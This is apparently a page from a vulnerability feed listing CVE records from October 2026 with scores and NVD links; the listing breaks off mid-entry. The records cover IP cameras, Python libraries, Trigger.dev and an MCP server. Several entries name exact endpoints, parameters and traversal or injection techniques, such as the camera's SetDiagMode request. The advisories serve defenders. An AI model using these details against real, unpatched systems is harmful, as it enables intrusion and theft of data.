### Jooan JA-A12 IP cameras with firmware 009_20171107 and 05.02.31.105 contain a remote code execution vulnerability that allows unauthenticated attackers to run root commands via...
https://kevwire.com/record/CVE-2026-111281
Jooan JA-A12 IP cameras with firmware 009_20171107 and 05.02.31.105 contain a remote code execution vulnerability that allows unauthenticated attackers to run root commands via... (Oct 15, 2026).
Jooan JA-A12 IP cameras with firmware 009_20171107 and 05.02.31.105 contain a remote code execution vulnerability that allows unauthenticated attackers to run root commands via hard-coded credentials. Attackers send singleCMD=SetDiagMode to /goform/SingleHandlebyCommand with an attacker-chosen authserverip and authcode, making the jooandiag daemon execute their commands through /bin/sh, giving full device control.
CVSS 9.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111281).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111281&date=2026-10-25).
Sources:
NVD CVE-2026-111281: https://nvd.nist.gov/vuln/detail/CVE-2026-111281
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111281&date=2026-10-25
Jooan JA-A12 IP cameras with firmware 009_20171107 and 05.02.31.105 contain a remote code execution vulnerability that allows unauthenticated attackers to run root commands via hard-coded credentials. Attackers send singleCMD=SetDiagMode to /goform/SingleHandlebyCommand with an attacker-chosen authserverip and authcode, making the jooandiag daemon execute their commands through /bin/sh, giving full device control.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kedro-datasets from 9.3.0 through 9.6.0 contains a path traversal vulnerability in MatplotlibDataset.save() that allows attackers to write files outside the dataset directory by...
https://kevwire.com/record/CVE-2026-111170
kedro-datasets from 9.3.0 through 9.6.0 contains a path traversal vulnerability in MatplotlibDataset.save() that allows attackers to write files outside the dataset directory by... (Oct 15, 2026).
kedro-datasets from 9.3.0 through 9.6.0 contains a path traversal vulnerability in MatplotlibDataset.save() that allows attackers to write files outside the dataset directory by supplying absolute plot names. Because validate_sub_path() strips leading slashes while pathlib's join discards the base path, attackers can create or overwrite files anywhere the process can write.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111170).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111170&date=2026-10-25).
Sources:
NVD CVE-2026-111170: https://nvd.nist.gov/vuln/detail/CVE-2026-111170
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111170&date=2026-10-25
kedro-datasets from 9.3.0 through 9.6.0 contains a path traversal vulnerability in MatplotlibDataset.save() that allows attackers to write files outside the dataset directory by supplying absolute plot names. Because validate_sub_path() strips leading slashes while pathlib's join discards the base path, attackers can create or overwrite files anywhere the process can write.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LightLLM through 1.2.0 contains a denial of service vulnerability that allows unauthenticated attackers to crash the inference worker by supplying the internal pd_kv_trans_params...
https://kevwire.com/record/CVE-2026-111160
LightLLM through 1.2.0 contains a denial of service vulnerability that allows unauthenticated attackers to crash the inference worker by supplying the internal pd_kv_trans_params... (Oct 15, 2026).
LightLLM through 1.2.0 contains a denial of service vulnerability that allows unauthenticated attackers to crash the inference worker by supplying the internal pd_kv_trans_params field to the /generate endpoint. Attackers can send a single request whose parameters cause pickle.loads to fail in InferSamplingParams, killing the inference thread while /health stays up and all later requests hang until restart.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111160).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111160&date=2026-10-25).
Sources:
NVD CVE-2026-111160: https://nvd.nist.gov/vuln/detail/CVE-2026-111160
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111160&date=2026-10-25
LightLLM through 1.2.0 contains a denial of service vulnerability that allows unauthenticated attackers to crash the inference worker by supplying the internal pd_kv_trans_params field to the /generate endpoint. Attackers can send a single request whose parameters cause pickle.loads to fail in InferSamplingParams, killing the inference thread while /health stays up and all later requests hang until restart.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the HCOMPRESS tile decoder that allows attackers to read past the compressed tile buffer via...
https://kevwire.com/record/CVE-2026-111125
CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the HCOMPRESS tile decoder that allows attackers to read past the compressed tile buffer via... (Oct 15, 2026).
CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the HCOMPRESS tile decoder that allows attackers to read past the compressed tile buffer via input_nnybble in fits_hdecompress.c. Attackers can supply a crafted FITS file with ZCMPTYPE HCOMPRESS_1 declaring oversized tile geometry to crash applications calling fits_read_pix or disclose limited heap memory.
CVSS 6.9 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111125).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111125&date=2026-10-25).
Sources:
NVD CVE-2026-111125: https://nvd.nist.gov/vuln/detail/CVE-2026-111125
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111125&date=2026-10-25
CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the HCOMPRESS tile decoder that allows attackers to read past the compressed tile buffer via input_nnybble in fits_hdecompress.c. Attackers can supply a crafted FITS file with ZCMPTYPE HCOMPRESS_1 declaring oversized tile geometry to crash applications calling fits_read_pix or disclose limited heap memory.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow in OpenModSim (<=1.11.0), leading to denial of service
https://kevwire.com/record/CVE-2025-66969
Integer overflow in OpenModSim (<=1.11.0), leading to denial of service (Oct 16, 2026).
Integer overflow in OpenModSim (<=1.11.0), leading to denial of service
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-66969).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-66969&date=2026-10-25).
Sources:
NVD CVE-2025-66969: https://nvd.nist.gov/vuln/detail/CVE-2025-66969
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-66969&date=2026-10-25
Integer overflow in OpenModSim (<=1.11.0), leading to denial of service

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing.
https://kevwire.com/record/CVE-2026-57496
NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. (Oct 15, 2026).
NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.8, netlicensing_get_product passes the caller-controlled product_number to src/netlicensing_mcp/tools/products.py, which interpolates it into a REST path consumed by nl_get() in src/netlicensing_mcp/client.py without path-segment validation. A traversal segment can be normalized from the intended product path to the /token endpoint, after which the response is serialized through _wrap_json instead of _wrap_json_token_read, bypassing redact_token_read() protections for APIKEY number and SHOP shopURL fields. An authenticated MCP client with a non-administrative API key can retrieve plaintext token values, and a recovered administrative token can provide broad read, write, and delete access to the NetLicensing account. This issue is fixed in version 0.1.8.
CVSS 9.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57496).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57496&date=2026-10-25).
Sources:
NVD CVE-2026-57496: https://nvd.nist.gov/vuln/detail/CVE-2026-57496
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57496&date=2026-10-25
NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.8, netlicensing_get_product passes the caller-controlled product_number to src/netlicensing_mcp/tools/products.py, which interpolates it into a REST path consumed by nl_get() in src/netlicensing_mcp/client.py without path-segment validation. A traversal segment can be normalized from the intended product path to the /token endpoint, after which the response is serialized through _wrap_json instead of _wrap_json_token_read, bypassing redact_token_read() protections for APIKEY number and SHOP shopURL fields. An authenticated MCP client with a non-administrative API key can retrieve plaintext token values, and a recovered administrative token can provide broad read, write, and delete access to the NetLicensing account. This issue is fixed in version 0.1.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GYM One is open-source gym management software for fitness centers, personal trainers, and sports clubs.
https://kevwire.com/record/CVE-2026-55872
GYM One is open-source gym management software for fitness centers, personal trainers, and sports clubs. (Oct 15, 2026).
GYM One is open-source gym management software for fitness centers, personal trainers, and sports clubs. Prior to 1.4.1, GYM One's admin/users/index.php renders the stored firstname, lastname, and email profile fields into the administrator user list without HTML output encoding. An attacker who can store values in those fields can cause content to execute in an administrator's browser when the administrator visits /admin/users/. The persistent script can access administrator-session data or perform actions with the administrator's privileges until the stored record is removed. This issue is fixed in version 1.4.1.
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55872).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55872&date=2026-10-25).
Sources:
NVD CVE-2026-55872: https://nvd.nist.gov/vuln/detail/CVE-2026-55872
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55872&date=2026-10-25
GYM One is open-source gym management software for fitness centers, personal trainers, and sports clubs. Prior to 1.4.1, GYM One's admin/users/index.php renders the stored firstname, lastname, and email profile fields into the administrator user list without HTML output encoding. An attacker who can store values in those fields can cause content to execute in an administrator's browser when the administrator visits /admin/users/. The persistent script can access administrator-session data or perform actions with the administrator's privileges until the stored record is removed. This issue is fixed in version 1.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tianji is an open source analytics, uptime monitoring, and server status platform.
https://kevwire.com/record/CVE-2026-55239
Tianji is an open source analytics, uptime monitoring, and server status platform. (Oct 15, 2026).
Tianji is an open source analytics, uptime monitoring, and server status platform. Prior to 1.31.29, the getDateQuery() function in src/server/utils/prisma.ts constructs raw SQL through Prisma.sql() by interpolating the timezone request value without parameter binding. The timezone value can reach affected analytics queries through request data or the timezone HTTP header, and workspaceProcedure permits any authenticated workspace member, including a read-only viewer, to reach those queries. An attacker can execute arbitrary SQL against the shared PostgreSQL database, which can disclose or modify credentials, API keys, and tenant data or make the service unavailable. This issue is fixed in version 1.31.29.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55239).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55239&date=2026-10-25).
Sources:
NVD CVE-2026-55239: https://nvd.nist.gov/vuln/detail/CVE-2026-55239
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55239&date=2026-10-25
Tianji is an open source analytics, uptime monitoring, and server status platform. Prior to 1.31.29, the getDateQuery() function in src/server/utils/prisma.ts constructs raw SQL through Prisma.sql() by interpolating the timezone request value without parameter binding. The timezone value can reach affected analytics queries through request data or the timezone HTTP header, and workspaceProcedure permits any authenticated workspace member, including a read-only viewer, to reach those queries. An attacker can execute arbitrary SQL against the shared PostgreSQL database, which can disclose or modify credentials, API keys, and tenant data or make the service unavailable. This issue is fixed in version 1.31.29.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### adm-zip before 0.6.1 contains an inconsistent entry resolution vulnerability that allows attackers to bypass content validation by supplying ZIP archives with duplicate entry...
https://kevwire.com/record/CVE-2026-114104
adm-zip before 0.6.1 contains an inconsistent entry resolution vulnerability that allows attackers to bypass content validation by supplying ZIP archives with duplicate entry... (Oct 21, 2026).
adm-zip before 0.6.1 contains an inconsistent entry resolution vulnerability that allows attackers to bypass content validation by supplying ZIP archives with duplicate entry names. Attackers can craft archives where getEntry() returns the last duplicate while extractAllTo() writes the first, causing unvalidated bytes to be written to disk.
CVSS 8.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114104).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114104&date=2026-10-25).
Sources:
NVD CVE-2026-114104: https://nvd.nist.gov/vuln/detail/CVE-2026-114104
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114104&date=2026-10-25
adm-zip before 0.6.1 contains an inconsistent entry resolution vulnerability that allows attackers to bypass content validation by supplying ZIP archives with duplicate entry names. Attackers can craft archives where getEntry() returns the last duplicate while extractAllTo() writes the first, causing unvalidated bytes to be written to disk.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dulwich from 0.22.5 before 1.2.8 contains a path traversal vulnerability in stash.py pop() that allows attackers to write arbitrary files outside the worktree through intermediate...
https://kevwire.com/record/CVE-2026-114098
Dulwich from 0.22.5 before 1.2.8 contains a path traversal vulnerability in stash.py pop() that allows attackers to write arbitrary files outside the worktree through intermediate... (Oct 21, 2026).
Dulwich from 0.22.5 before 1.2.8 contains a path traversal vulnerability in stash.py pop() that allows attackers to write arbitrary files outside the worktree through intermediate directory symlinks. Attackers can craft a malicious repository whose popped stash writes a payload into .git/hooks/post-checkout, achieving code execution on the next checkout.
CVSS 7.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114098).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114098&date=2026-10-25).
Sources:
NVD CVE-2026-114098: https://nvd.nist.gov/vuln/detail/CVE-2026-114098
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114098&date=2026-10-25
Dulwich from 0.22.5 before 1.2.8 contains a path traversal vulnerability in stash.py pop() that allows attackers to write arbitrary files outside the worktree through intermediate directory symlinks. Attackers can craft a malicious repository whose popped stash writes a payload into .git/hooks/post-checkout, achieving code execution on the next checkout.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dulwich from 0.24.0 before 1.2.8 contains a symlink following vulnerability in porcelain.checkout(paths=[...]) that allows attackers to write arbitrary files by abusing raw...
https://kevwire.com/record/CVE-2026-114096
Dulwich from 0.24.0 before 1.2.8 contains a symlink following vulnerability in porcelain.checkout(paths=[...]) that allows attackers to write arbitrary files by abusing raw... (Oct 21, 2026).
Dulwich from 0.24.0 before 1.2.8 contains a symlink following vulnerability in porcelain.checkout(paths=[...]) that allows attackers to write arbitrary files by abusing raw os.open without O_NOFOLLOW. Attackers can craft a repository where a worktree symlink points to .git/hooks/post-checkout, so restoring the file from a tag writes a malicious hook for code execution.
CVSS 7.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114096).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114096&date=2026-10-25).
Sources:
NVD CVE-2026-114096: https://nvd.nist.gov/vuln/detail/CVE-2026-114096
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114096&date=2026-10-25
Dulwich from 0.24.0 before 1.2.8 contains a symlink following vulnerability in porcelain.checkout(paths=[...]) that allows attackers to write arbitrary files by abusing raw os.open without O_NOFOLLOW. Attackers can craft a repository where a worktree symlink points to .git/hooks/post-checkout, so restoring the file from a tag writes a malicious hook for code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dulwich before 1.2.9 fails to validate DOS drive letter prefixes in Git tree path elements on Windows, allowing arbitrary file write.
https://kevwire.com/record/CVE-2026-114094
Dulwich before 1.2.9 fails to validate DOS drive letter prefixes in Git tree path elements on Windows, allowing arbitrary file write. (Oct 21, 2026).
Dulwich before 1.2.9 fails to validate DOS drive letter prefixes in Git tree path elements on Windows, allowing arbitrary file write. Attackers can craft a malicious repository with a tree entry named 'C:' that bypasses NTFS validation and writes files outside the worktree to achieve remote code execution.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114094).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114094&date=2026-10-25).
Sources:
NVD CVE-2026-114094: https://nvd.nist.gov/vuln/detail/CVE-2026-114094
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114094&date=2026-10-25
Dulwich before 1.2.9 fails to validate DOS drive letter prefixes in Git tree path elements on Windows, allowing arbitrary file write. Attackers can craft a malicious repository with a tree entry named 'C:' that bypasses NTFS validation and writes files outside the worktree to achieve remote code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.2 contains a cross-site request forgery vulnerability in the CLI authorization-code flow because loading /account/authorization-code/<code> mints a Personal...
https://kevwire.com/record/CVE-2026-114089
Trigger.dev before 4.5.2 contains a cross-site request forgery vulnerability in the CLI authorization-code flow because loading /account/authorization-code/<code> mints a Personal... (Oct 21, 2026).
Trigger.dev before 4.5.2 contains a cross-site request forgery vulnerability in the CLI authorization-code flow because loading /account/authorization-code/<code> mints a Personal Access Token without any consent step. Attackers mint an unauthenticated code, lure a logged-in user to that URL, then retrieve the victim's PAT from the unauthenticated /api/v1/token endpoint to take over the account.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114089).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114089&date=2026-10-25).
Sources:
NVD CVE-2026-114089: https://nvd.nist.gov/vuln/detail/CVE-2026-114089
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114089&date=2026-10-25
Trigger.dev before 4.5.2 contains a cross-site request forgery vulnerability in the CLI authorization-code flow because loading /account/authorization-code/<code> mints a Personal Access Token without any consent step. Attackers mint an unauthenticated code, lure a logged-in user to that URL, then retrieve the victim's PAT from the unauthenticated /api/v1/token endpoint to take over the account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the...
https://kevwire.com/record/CVE-2026-114088
Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the... (Oct 21, 2026).
Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_EXECUTION to retrieve decrypted run environment variables or send TASK_RUN_FAILED_TO_RUN and similar events to tamper with arbitrary runs.
CVSS 8.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114088).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114088&date=2026-10-25).
Sources:
NVD CVE-2026-114088: https://nvd.nist.gov/vuln/detail/CVE-2026-114088
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114088&date=2026-10-25
Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_EXECUTION to retrieve decrypted run environment variables or send TASK_RUN_FAILED_TO_RUN and similar events to tamper with arbitrary runs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the /realtime/v1/runs endpoint, which concatenates the unescaped tags query parameter into the ElectricSQL...
https://kevwire.com/record/CVE-2026-114084
Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the /realtime/v1/runs endpoint, which concatenates the unescaped tags query parameter into the ElectricSQL... (Oct 21, 2026).
Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the /realtime/v1/runs endpoint, which concatenates the unescaped tags query parameter into the ElectricSQL shape where clause and defeats the runtimeEnvironmentId tenant guard. Authenticated attackers holding any project API key with read:runs scope can append boolean conditions to stream TaskRun records, including payloads and metadata, from every organization on the same self-hosted instance.
CVSS 8.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114084).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114084&date=2026-10-25).
Sources:
NVD CVE-2026-114084: https://nvd.nist.gov/vuln/detail/CVE-2026-114084
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114084&date=2026-10-25
Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the /realtime/v1/runs endpoint, which concatenates the unescaped tags query parameter into the ElectricSQL shape where clause and defeats the runtimeEnvironmentId tenant guard. Authenticated attackers holding any project API key with read:runs scope can append boolean conditions to stream TaskRun records, including payloads and metadata, from every organization on the same self-hosted instance.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.0-rc.3 contains a path traversal vulnerability in the api/v1/packets and api/v2/packets endpoints that allows authenticated tenants to escape their object...
https://kevwire.com/record/CVE-2026-114083
Trigger.dev before 4.5.0-rc.3 contains a path traversal vulnerability in the api/v1/packets and api/v2/packets endpoints that allows authenticated tenants to escape their object... (Oct 21, 2026).
Trigger.dev before 4.5.0-rc.3 contains a path traversal vulnerability in the api/v1/packets and api/v2/packets endpoints that allows authenticated tenants to escape their object key prefix through an unsanitized filename splat segment. Attackers holding one valid API key can supply ../ sequences to obtain presigned GET or PUT URLs and read or overwrite other tenants' run payloads and outputs.
CVSS 8.6 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114083).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114083&date=2026-10-25).
Sources:
NVD CVE-2026-114083: https://nvd.nist.gov/vuln/detail/CVE-2026-114083
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114083&date=2026-10-25
Trigger.dev before 4.5.0-rc.3 contains a path traversal vulnerability in the api/v1/packets and api/v2/packets endpoints that allows authenticated tenants to escape their object key prefix through an unsanitized filename splat segment. Attackers holding one valid API key can supply ../ sequences to obtain presigned GET or PUT URLs and read or overwrite other tenants' run payloads and outputs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without...
https://kevwire.com/record/CVE-2026-114081
Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without... (Oct 21, 2026).
Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.
CVSS 8.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114081).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114081&date=2026-10-25).
Sources:
NVD CVE-2026-114081: https://nvd.nist.gov/vuln/detail/CVE-2026-114081
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114081&date=2026-10-25
Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in DeleteTaskScheduleService and SetActiveOnTaskScheduleService that allows authenticated users to delete...
https://kevwire.com/record/CVE-2026-114078
